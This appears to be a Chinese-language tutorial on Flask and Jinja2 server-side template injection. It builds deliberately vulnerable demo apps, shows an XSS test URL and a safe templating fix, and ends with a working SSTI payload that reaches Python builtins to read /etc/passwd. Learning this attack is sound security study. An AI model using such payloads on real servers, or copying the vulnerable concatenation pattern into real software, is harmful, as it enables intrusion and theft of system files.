文章目录
python 模板
- Python的模板有Tornado、Flask、Django
- 模板引擎通过对模板进行动态的解析,将传入模板引擎的变量进行替换,最终展示给客户
- SSTI服务端模板注入正是因为代码中通过不安全的字符串拼接的方式来构造模板文件而且过分信任用户的输入造成的
Flask Jinja 2
- 语法
- {%……%} 语句
- { {…}}打印模板输出表达式
- {#…#} 注释
- #…##行语句
Flask框架学习
路由
from flask import Flask
app = Flask(__name__)
@app.route('/')
def index():
return "欢迎来到我的世界"
@app.route('/hello')
def hello():
return '我们的生活甜的像糖'
if __name__ == '__main__':
app.run()
@app.route(’/’)设置两个路由 分别是 ‘/’ ‘/hello’
@app.route()是Flask的实例化对象,Flask通过装饰器来识别用户需要访问的网址路径
- 例如:上面给的例子
变量
<>定义路由的变量参数,<>需要起个名字。
from flask import Flask
app = Flask(__name__)
@app.route('/')
def index():
return "欢迎来到我的世界"
@app.route('/hello/<user_name>')
def hello(user_name):
return '%s,我们的生活甜的像糖'%user_name
if __name__ == '__main__':
app.run()
- 运行结果
路由请求方式的修改
@app.route('/',methods=['GET','POST'])
def index():
return "GET/POST"
Flask渲染
模板就是利用占位符好表示动态的动态部分
渲染就是将获得的真实的值来替换占位符表示的变脸,最后返回最终得到的字符串
render_template()是用来渲染一个指定的文件的
render_template_string()则是用来渲染一个字符串的。
- SSTI漏洞就是存在与render_template_string()这个函数
render_template()
- 创建以下的文件
- templates:文件夹用来存放模板文件
- test1:是flask框架的运行文件
from flask import Flask,url_for,redirect,render_template,render_template_string
app = Flask(__name__,template_folder='templates')
# template_folder 指向你的模板目录
@app.route('/index/')
def index():
title = 'This is index page'
content = '我可以陪你去看星星'
return render_template('index.html',title = title,content = content)
@app.route('/hello/<user_name>')
def hello(user_name):
return '%s,我们的生活甜的像糖'%user_name
if __name__ == '__main__':
app.run()
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
<h1>{
{title}}</h1>
<p>{
{content}}</p>
</body>
</html>
- 运行结果
Render_template_string()
from flask import Flask,url_for,redirect,render_template,render_template_string
app = Flask(__name__,template_folder='templates')
# template_folder 指向你的模板目录
@app.route('/index/')
def index():
title = '<h1>我可以陪你去看星星</h1>'
return render_template_string(title)
@app.route('/hello/<user_name>')
def hello(user_name):
return '%s,我们的生活甜的像糖'%user_name
if __name__ == '__main__':
app.run()
- 运行结果
代码块
- {%……%} 控制代码块,可以实现一些逻辑功能,比如循环或者条件。
- { {…}} 变量代码块
- {#…#} 注释
- #…##行语句
SSTI初体验
- SSTI导致RCE漏洞存在与render_template_string()函数中
- 接下来给个代码实例
from flask import Flask,url_for,redirect,render_template,render_template_string,request
app = Flask(__name__,template_folder='templates')
#template_folder 指向你的模板目录
@app.route('/index/')
def index():
title = request.args.get('title') # get方式获取id
html="<h1>%s</h1>"%(title)
return render_template_string(html)
@app.route('/hello/<user_name>')
def hello(user_name):
return '%s,我们的生活甜的像糖'%user_name
if __name__ == '__main__':
app.run()
- 我们传入?title=aaa
- 验证一下XSS
http://127.0.0.1:5000/index/?title=%3Cscript%3Evar%20current_day%20=%20new%20Date();var%20today%20=%20current_day.getTime();alert(today);%3C/script%3E
- 修改一下代码
from flask import Flask,url_for,redirect,render_template,render_template_string,request
from jinja2 import Template
app = Flask(__name__,template_folder='templates')
# template_folder 指向你的模板目录
@app.route('/index/')
def index():
title = request.args.get('title','guest') # get方式获取id
t = Template("Hello" + title)
return t.render()
@app.route('/hello/<user_name>')
def hello(user_name):
return '%s,我们的生活甜的像糖'%user_name
if __name__ == '__main__':
app.run()
- 验证SSTI注入
- 这个问题可以避免 下面是避免的方式
title = request.args.get('title', 'guest')
t = Template("Hello {
{n}}")
return t.render(n=title)
SSTI与RCE
from flask import Flask,url_for,redirect,render_template,render_template_string,request
app = Flask(__name__,template_folder='templates')
#template_folder 指向你的模板目录
@app.route('/index/')
def index():
title = request.args.get('title') # get方式获取id
html="<p>%s</p>"%(title)
return render_template_string(html)
@app.route('/hello/<user_name>')
def hello(user_name):
return '%s,我们的生活甜的像糖'%user_name
if __name__ == '__main__':
app.run()
- 在这个环境下 我们尝试一下SSTI与RCE执行
在jinja2中可以直接访问python中的一些对象和方法的
- base 以元组返回一个类直接所继承的类
- mro 以元组返回继承关系链
- class 返回对象所属的类
- globals 以dict返回函数所在模块命名空间中的所有变量
- subclasses() 以列表返回类的子类
- init 类的初始化方法
- builtin 内建函数,python中可以直接运行一些函数,例如int(),list()等等,这些函数可以在
- 在自己搭建的环境里 注入一下
- 寻找基类
''.__class__.__base__
<class 'object'>
- 寻找可引用类
''.__class__.__base__.__subclasses__()
[<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>, <class 'bytearray'>, <class 'bytes'>, <class 'list'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'traceback'>, <class 'super'>, <class 'range'>, <class 'dict'>, <class 'dict_keys'>, <class 'dict_values'>, <class 'dict_items'>, <class 'dict_reversekeyiterator'>, <class 'dict_reversevalueiterator'>, <class 'dict_reverseitemiterator'>, <class 'odict_iterator'>, <class 'set'>, <class 'str'>, <class 'slice'>, <class 'staticmethod'>, <class 'complex'>, <class 'float'>, <class 'frozenset'>, <class 'property'>, <class 'managedbuffer'>, <class 'memoryview'>, <class 'tuple'>, <class 'enumerate'>, <class 'reversed'>, <class 'stderrprinter'>, <class 'code'>, <class 'frame'>, <class 'builtin_function_or_method'>, <class 'method'>, <class 'function'>, <class 'mappingproxy'>, <class 'generator'>, <class 'getset_descriptor'>, <class 'wrapper_descriptor'>, <class 'method-wrapper'>, <class 'ellipsis'>, <class 'member_descriptor'>
- payload:
{
% for c in [].__class__.__base__.__subclasses__() %}{
% if c.__name__=='catch_warnings' %}{
{
c.__init__.__globals__['__builtins__'].open('/etc/passwd', 'r').read() }}{
% endif %}{
% endfor %}